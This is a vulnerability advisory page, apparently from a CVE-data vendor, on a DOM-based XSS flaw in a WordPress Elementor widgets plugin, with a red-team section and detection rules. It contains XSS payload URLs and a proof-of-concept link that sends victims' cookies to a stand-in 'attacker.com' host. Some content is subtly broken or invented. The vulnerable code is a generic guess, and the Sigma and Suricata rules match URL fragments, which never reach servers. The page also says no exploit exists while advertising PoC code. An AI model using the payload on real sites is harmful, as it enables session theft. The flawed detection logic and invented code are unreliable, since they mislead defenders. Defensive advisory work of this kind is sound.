CVE-2025-64361
Executive Summary
CVE-2025-64361 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Consulting Elementor Widgets plugin by StylemixThemes, a WordPress ecosystem component. The vulnerability exists in versions from n/a through 1.4.2. It allows an attacker to inject malicious scripts into web pages via improper neutralization of user input during web page generation. The CVSS score is 6.5 (Medium), with a vector indicating network-based, low-complexity attacks requiring user interaction. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The threat level is medium due to the requirement for user interaction (e.g., clicking a crafted link) and the limited impact on confidentiality and integrity. However, DOM-based XSS can lead to session hijacking, credential theft, or defacement.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS in the consulting-elementor-widgets plugin. The plugin fails to sanitize user-controlled input before inserting it into the Document Object Model (DOM) via JavaScript. Attackers can craft a URL or payload that, when processed by the browser, executes arbitrary JavaScript in the context of the victim's session.
Root Cause: The plugin uses innerHTML, document.write, or similar DOM manipulation methods without proper encoding or validation of input from location.hash, location.search, or document.referrer.
Attack Vector: An attacker sends a malicious link to a victim. The link contains a payload in the URL fragment (e.g., #<script>alert('XSS')</script>). When the victim visits the page, the plugin's JavaScript reads the fragment and injects it into the DOM, executing the script.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.4.2):
// Example of vulnerable code in consulting-elementor-widgets
var hash = window.location.hash;
if (hash) {
document.getElementById('some-element').innerHTML = hash;
}
Patched Code (Hypothetical):
// Patched version would sanitize input
var hash = window.location.hash;
if (hash) {
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('some-element').innerHTML = sanitized;
}
No official patch is available. The vendor has not released a fixed version.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with Consulting Elementor Widgets <= 1.4.2
- Victim user with a modern browser
Exploitation Steps:
- Craft a malicious URL:
https://victim-site.com/?page_id=123#<img src=x onerror=alert('XSS')> - Send the link to the victim via phishing email or social engineering.
- When the victim clicks the link, the payload executes in their browser.
Proof-of-Concept (No public exploit available):
<!-- Save as poc.html and host on attacker server -->
<a href="https://victim-site.com/?page_id=123#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>
Blue Team
Detection Steps:
- Monitor web server logs for requests containing suspicious URL fragments (e.g.,
<script>,<img onerror). - Use browser-based XSS filters (e.g., X-XSS-Protection header).
- Implement Content Security Policy (CSP) to block inline scripts.
Lab Setup:
- Install WordPress with Consulting Elementor Widgets 1.4.2 on a local VM.
- Use Burp Suite or OWASP ZAP to intercept and modify requests.
- Test with payloads from the XSS Cheat Sheet.
Indicators of Compromise (IOCs)
- URL Patterns:
/?page_id=*#<script>/?page_id=*#<img onerror=/?page_id=*#<svg onload=
- Network Traffic:
- Outbound requests to attacker-controlled domains from the victim's browser.
- Log Entries:
- HTTP requests with non-standard fragment identifiers containing HTML/JavaScript.
Detection Engineering
YARA Rule
rule CVE_2025_64361_DOM_XSS {
meta:
description = "Detects DOM-based XSS payloads in Consulting Elementor Widgets"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-64361"
strings:
$payload1 = /#<script[^>]*>/
$payload2 = /#<img[^>]*onerror=/
$payload3 = /#<svg[^>]*onload=/
condition:
any of them
}
Sigma Rule
title: CVE-2025-64361 DOM XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential DOM-based XSS attempts against Consulting Elementor Widgets
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '#<script'
- '#<img'
- '#<svg'
condition: selection
falsepositives:
- Legitimate use of HTML fragments in URLs
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64361 DOM XSS Attempt"; flow:to_server; content:"#<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64361 DOM XSS via img"; flow:to_server; content:"#<img"; http_uri; classtype:web-application-attack; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Consulting Elementor Widgets plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests with suspicious URL fragments.
- Add the following CSP header to prevent inline script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Fix:
- The vendor must release a patched version that sanitizes DOM input using DOMPurify or similar libraries.
- Users should update to the latest version once available.
Workaround:
- Modify the plugin's JavaScript files to use
textContentinstead ofinnerHTMLwhere possible.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.